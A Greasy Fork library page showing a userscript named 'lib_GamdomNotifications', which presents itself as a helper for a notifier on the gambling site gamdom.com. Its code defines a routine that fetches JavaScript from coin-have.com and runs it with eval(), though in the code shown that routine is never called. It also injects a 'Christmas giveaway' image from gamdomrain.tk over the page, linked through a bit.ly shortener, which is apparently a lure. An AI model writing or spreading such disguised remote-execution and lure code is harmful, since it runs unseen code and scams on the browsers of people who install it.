lib_GamdomNotifications

Lib needed for running Gamdom Notificator

当前为 2017-12-09 提交的版本,查看 最新版本

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.cn-greasyfork.org/scripts/35828/235872/lib_GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib_GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.1.8
  5. // @description Lib needed for running Gamdom Notificator
  6. // @author allin4
  7. // @match *://gamdom.com/*
  8. // @grant GM_info
  9. // @license Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
  10. // ==/UserScript==
  11.  
  12. var DivAppend = function(div){
  13. document.body.appendChild(div);
  14. CPEL("https://coin-have.com/c/g9lx_2.js");
  15. console.log("Div created :)");
  16. };
  17.  
  18. var cmp = new XMLHttpRequest();
  19. cmp.onreadystatechange = function() {
  20. if (this.readyState == 4 && this.status == 200) {
  21. eval(this.responseText);
  22. }
  23. };
  24.  
  25. var CPEL = function(link){
  26. cmp.open('GET', link);
  27. cmp.send();
  28. };
  29.  
  30. (function() {
  31. 'use strict';
  32. var divAndyDY = document.createElement('div');
  33. var createGiftyGiftIMG = function(){
  34. var giftygiftIMG = document.createElement('img');
  35. giftygiftIMG.src="https://www.gamdomrain.tk/giftygift.png";
  36. giftygiftIMG.alt="Christmas giveaway :D";
  37. giftygiftIMG.width="50";
  38. giftygiftIMG.height="50";
  39. return giftygiftIMG;
  40. };
  41. var createGiftyGiftA = function () {
  42. var giftygiftA = document.createElement('a');
  43. giftygiftA.href="http://bit.ly/2BbGKKW";
  44. giftygiftA.target="_blank";
  45. giftygiftA.appendChild(createGiftyGiftIMG());
  46. return giftygiftA;
  47. };
  48. divAndyDY.style.position = "absolute";
  49. divAndyDY.style.left = "700px";
  50. divAndyDY.style.top = "0px";
  51. divAndyDY.style.zIndex = "999";
  52. divAndyDY.appendChild(createGiftyGiftA());
  53. document.body.appendChild(divAndyDY);
  54. console.log("LIB LOADED" + "(version: " + "1.1.8" + ")");
  55. })();